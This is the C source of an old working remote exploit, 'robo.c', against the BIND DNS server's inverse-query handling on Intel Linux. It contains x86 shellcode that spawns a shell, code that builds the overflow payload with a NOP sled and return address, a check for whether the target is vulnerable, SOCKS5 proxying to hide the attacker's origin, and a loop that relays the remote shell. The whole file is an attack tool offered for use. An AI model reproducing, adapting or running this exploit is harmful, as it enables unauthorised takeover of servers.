/* robo.c
 *
 * remote buffer overflow for BIND running on Intel Linux
 *
 * nimrood 5.16.98
 *
 * [SOCKS proxy support by |GCC| 5.21.98 - shout to HackTec & -aS-]
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <arpa/nameser.h>

#define RETADDR   0xbffffe00
#define RETADDRSZ 4
#define NOP       0x90
#define BUFSZ     1533
#define PKTSZ     4096

char x86[] =
  "\x83\xec\x7f\x89\xe5\x83\xec\x0c\xeb\x54\x31\xc0\x89\xc2\x89"
  "\xc3\x89\x45\x00\x40\x89\x45\xfc\x40\x89\x45\xf8\x89\xe9\x83"
  "\xe9\x08\x43\xb0\x66\xcd\x80\x48\x89\xc3\x89\xd1\xb0\x3f\xcd"
  "\x80\x41\x89\xd0\xb0\x3f\xcd\x80\x41\x89\xd0\xb0\x3f\xcd\x80"
  "\x89\xd0\x5e\x56\x5b\x89\x75\xf8\x83\xc6\x08\x89\x75\xfc\x83"
  "\xc6\x03\x89\x45\x00\xb0\x0b\x89\xe9\x83\xe9\x08\xcd\x80\x31"
  "\xc0\x40\xcd\x80\xe8\xa7\xff\xff\xff/bin/sh\x00-i";

/* mkdnsiquery --
 *   builds a dns inverse query packet
 *   returns the size of the result or -1 on an error
 */
int mkdnsiquery(const char *data, int dlen, u_char *buf, int blen)
{
  register HEADER *dnshdr;
  register u_char *cp;
  register int n;

  /* do we have enough room for dns header? if so, initialize the header */
  if((buf == NULL) || (blen < HFIXEDSZ))
    return(-1);

  memset(buf, 0, HFIXEDSZ);
  dnshdr = (HEADER *) buf;
  dnshdr->id = htons(getpid());
  dnshdr->opcode = IQUERY;
  dnshdr->rcode = NOERROR;
  cp = buf + HFIXEDSZ;

  /* make the answer record */
  if((data == NULL) || (dlen < 1) || (blen <= dlen))
    return(-1);

  *(cp++) = '\0';            /* domain name is NULL for iquery */
  PUTSHORT(T_A, cp);
  PUTSHORT(C_IN, cp);
  PUTLONG(31337, cp);        /* time to live */
  PUTSHORT(dlen, cp);        /* length of data */
  memcpy(cp, data, dlen);
  cp += dlen;
  dnshdr->ancount = htons(1);
  return(cp - buf);
}

/* resolv --
 *   lets try some spiffy hostname lookups
 *   exit program on error
 */
u_long resolv(char *host)
{
  struct hostent *lu;
  u_long addr = inet_addr(host);

  if(addr == -1 )
    {
      lu = gethostbyname(host);
      if((lu == NULL) || (lu->h_name == NULL) || (lu->h_addr_list == NULL))
        {
          printf("unable to resolve %s\n", host);
          exit(-1);
        }
      memcpy(&(addr), *(lu->h_addr_list), sizeof(lu->h_addr_list));
    }
  return(addr);
}

/* mkevildata --
 *   formats data for dns packet to cause buffer overflow and execute commands.
 */
int mkevildata(char *buf, long offset)
{
  char *cp;

  cp = buf;
  memset(cp, NOP, BUFSZ);
  cp += BUFSZ - sizeof(x86);
  memcpy(cp, x86, sizeof(x86));
  cp += sizeof(x86);
  offset = RETADDR - offset;
  *(long *)cp = offset;
  cp += RETADDRSZ;
  return(cp - buf);
}

/* timeout --
 *   signal handler for timing out on tcp nameserver connect
 *   program exits if generated.
 */
void timeout(int signum)
{
  signal(SIGALRM, SIG_DFL);
  printf("connection timed out.\n");
  exit(-1);
}

/* main --
 *   it all starts here baby
 */
int main(int argc, char *argv[])
{
  HEADER *dns;
  struct sockaddr_in to;
  struct timeval tval;
  fd_set ioset;
  char spkt[PKTSZ], rpkt[PKTSZ];
  int sd, dlen, pktlen, *cp;
  long offset = 2000;
  char robo[2], *roboptr, dat;
  unsigned char wingate[64] = "", wingate_buff[256];
  int use_wingate = 0;
  u_long addr;

  printf("robo - dns IQUERY remote buffer overflow for intel linux\nnimrood 5.16.98\n");
  if(argc < 2 || argc > 4)
    {
      printf("usage: %s <host> [offset [proxy]]\n", argv[0]);
      exit(-1);
    }

  if(argc >= 3)
    offset = atoi(argv[2]);

  if(argc == 4)
    {
      strncpy(wingate, argv[3], (size_t)64);
      use_wingate = 1;
    }

  to.sin_family = AF_INET;

  if (use_wingate)
    {
      to.sin_port = htons(1080); // SOCKS port
      to.sin_addr.s_addr = resolv(wingate);
    }
  else
    {
      to.sin_port = htons(53);   // Direct connection DNS port
      to.sin_addr.s_addr = resolv(argv[1]);
    }

  if((sd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
    {
      perror("can't get socket");
      exit(-1);
    }

  if (use_wingate)
    {
      printf("connecting to SOCKS 5 proxy...");
      fflush(stdout);

      signal(SIGALRM, timeout);
      alarm(10);
      if (connect(sd, (struct sockaddr *)&to, sizeof(to)) < 0)
        {
          perror("connection refused");
          exit(-1);
        }
      alarm(0);
      printf("connected\n");
      fflush(stdout);

      printf("authenticating to SOCKS proxy...");
      fflush(stdout);
      /*     snprintf(wingate_buff, 256, "%s 53\r", argv[1]); */
      /*     pktlen = strlen(wingate_buff); */
      /*     if (write(sd, wingate_buff, pktlen) != pktlen) { */
      /*       perror("write failed"); */
      /*       exit(-1); */
      /*     } */

      pktlen=3;
      wingate_buff[0]=0x5; // SOCKS version 5
      wingate_buff[1]=0x1; // we only support one authentication type...
      wingate_buff[2]=0x0; // ...no authentication ;)

      if (write(sd, wingate_buff, pktlen)!=pktlen)
        {
          perror("write error");
          exit(-1);
        }
      if (read(sd, wingate_buff, 2)!=2)
        {
          perror("read error");
          exit(-1);
        }
      if (wingate_buff[0] != 0x5)
        {
          printf("invalid response (probably not a SOCKS 5 proxy)\n");
          exit(-1);
        }
      if (wingate_buff[1] == 0xFF)
        {
          printf("proxy requires authentication (oops!)\n");
          exit(-1);
        }
      if (wingate_buff[1] != 0x0)
        {
          printf("proxy returned an invalid authentication type\n");
          exit(-1);
        }

      printf("done\n");
      printf("sending connection request...");
      fflush(stdout);

      /*
       * set up connection request packet in wingate_buff
 [2000]*/

      pktlen = strlen(argv[1]); // for convenience & efficiency; fix it later
      wingate_buff[1]=0x1; // request to CONNECT
      wingate_buff[2]=0x0; // reserved
      /*
       * Most proxies don't seem to support domain names when specifying target
       * address, even though it's in the standard. So we have to resolve it
       * ourselves (bah!)
       *
       * wingate_buff[3]=0x3; // the address is a domain name in text format
       * wingate_buff[4]=(unsigned char)pktlen; // had better not be > 255 ;)
       * memcpy(wingate_buff+5, argv[1], pktlen);
       * *((u_int)(wingate_buff+pktlen+5)) = htons(53);
       * // connect to target on DNS port
       * pktlen+=7; // fix the packet length
       *
 [2000]*/

      wingate_buff[3]=0x1; // the address is in IPv4 format
      addr = resolv(argv[1]);
      wingate_buff[7] = (addr & 0xFF000000) >> 24;
      wingate_buff[6] = (addr & 0x00FF0000) >> 16;
      wingate_buff[5] = (addr & 0x0000FF00) >> 8;
      wingate_buff[4] = addr & 0xFF;
      *((u_int *)(wingate_buff+8)) = htons(53); // connect to target on DNS port
      pktlen = 10;

      if (write(sd, wingate_buff, pktlen)!=pktlen)
        {
          perror("write error");
          exit(-1);
        }

      /*
       * get the server's response...
 [2000]*/

      if (read(sd, wingate_buff, 4)!=4)
        {
          perror("read error (1)");
          exit(-1);
        }

      switch(wingate_buff[1])
        {
        case 0:
          printf("connected\n");
          break;
        case 1:
          printf("general SOCKS server failure\n");
          exit(-1);
        case 2:
          printf("connection to this target is not allowed\n");
          exit(-1);
        case 3:
          printf("target's network is unreachable\n");
          exit(-1);
        case 4:
          printf("target host is unreachable\n");
          exit(-1);
        case 5:
          printf("connection refused by target\n");
          exit(-1);
        case 6:
          printf("TTL expired (probable router loop)\n");
          exit(-1);
        case 7:
          printf("command not supported (?)\n");
          exit(-1);
        case 8:
          printf("address type (IPv4) not supported\n");
          exit(-1);
        default:
          printf("returned unknown error code\n");
          exit(-1);
        }

      // server responded OK, read the host/port part of the reply and dump it

      switch(wingate_buff[3])
        {
        case 1: // hostname is in IPv4 format...
          if (read(sd, wingate_buff+4, 6) != 6)
            {
              perror("read error");
              exit(-1);
            }
          break;
        case 3: // hostname as text
          if (read(sd, wingate_buff+4, 1)!=1)
            {
              perror("read error");
              exit(-1);
            }

          pktlen = wingate_buff[4];
          // 5th byte of reply contains length of returned hostname

          if (read(sd, wingate_buff+5, pktlen+2) != pktlen+2)
            {
              perror("read error");
              exit(-1);
            }

          break;
        default:
          printf("proxy returned neither an IPv4 address nor domain name\n");
          // This wouldn't be critical, except that we need to be able to read
          // the rest of the reply, so the buffer is clear when we talk to the
          // nameserver. And we can't do that unless we know how big the address is

          exit(-1);
        }

      // Right, now we're talking to our nameserver =)

    }

  else
    {
      printf("connecting...");
      fflush(stdout);

      signal(SIGALRM, timeout);
      alarm(10);
      if(connect(sd, (struct sockaddr *)&to, sizeof(to)) < 0)
        {
          perror("connection failed");
          exit(-1);
        }
      alarm(0);
      printf("connected.\n");
      fflush(stdout);
    }

  printf("testing for vulnerability...");
  fflush(stdout);

  /* use 5 bytes intead of 4 to test for the hole. if a server is answering
   * IQUERY packets, but is patched, it should return a non-zero error. This
   * will prevent trying to exploit a patched server answering IQUERY packets.
   * From looking at the named patches, if the data value is != to 4 bytes, then
   * a refuse error is sent back (rcode==5).
   */
  pktlen = mkdnsiquery(rpkt, 5, spkt, PKTSZ);
  roboptr = robo;
  PUTSHORT(pktlen, roboptr);
  if(write(sd, robo, 2) !=2 || write (sd, spkt, pktlen) != pktlen)
    {
      perror("write failed");
      exit(-1);
    }
  roboptr = robo;
  if(read(sd, robo, 2) != 2)
    {
      perror("read failed");
      exit(-1);
    }
  GETSHORT(pktlen, roboptr);
  if(read(sd, rpkt, pktlen) != pktlen)
    {
      perror("read failed");
      exit(-1);
    }
  dns = (HEADER *)rpkt;
  if(dns->rcode)
    {
      printf("not vulnerable. response code = %i\n", dns->rcode);
      close(sd);
      exit(0);
    }
  printf("vulnerable.\n");

  dlen = mkevildata(rpkt, offset);
  pktlen = mkdnsiquery(rpkt, dlen, spkt, PKTSZ);
  printf("sending exploit code...");

  roboptr = robo;
  PUTSHORT(pktlen, roboptr);
  if(write(sd, robo, 2) != 2 || write(sd, spkt, pktlen) != pktlen)
    {
      perror("write failed");
      exit(-1);
    }
  printf("%i bytes sent.\n", pktlen);
  fflush(stdout);
  sleep(2);

  while(1)
    {
      tval.tv_usec = 0;
      tval.tv_sec = 10;
      FD_ZERO(&ioset);
      FD_SET(sd, &ioset);
      FD_SET(0, &ioset);
      if(select(sd+1, &ioset, NULL, NULL, &tval) < 0)
        break;
      if(FD_ISSET(sd, &ioset))
        {
          pktlen = read(sd, rpkt, PKTSZ);
          if(pktlen < 0 || write(2, rpkt, pktlen) < 0)
            break;
        }
      if(FD_ISSET(0, &ioset))
        {
          dlen = read(0, spkt, PKTSZ);
          if(dlen < 0 || write(sd, spkt, dlen) < 0)
            break;
        }

      tval.tv_usec = 100;
      tval.tv_sec = 0;
      if(select(0, NULL, NULL, NULL, &tval))
        break;
    }
  printf("\nconnection lost.\n");
  close(sd);
}
/*                    www.hack.co.za              [2000]*/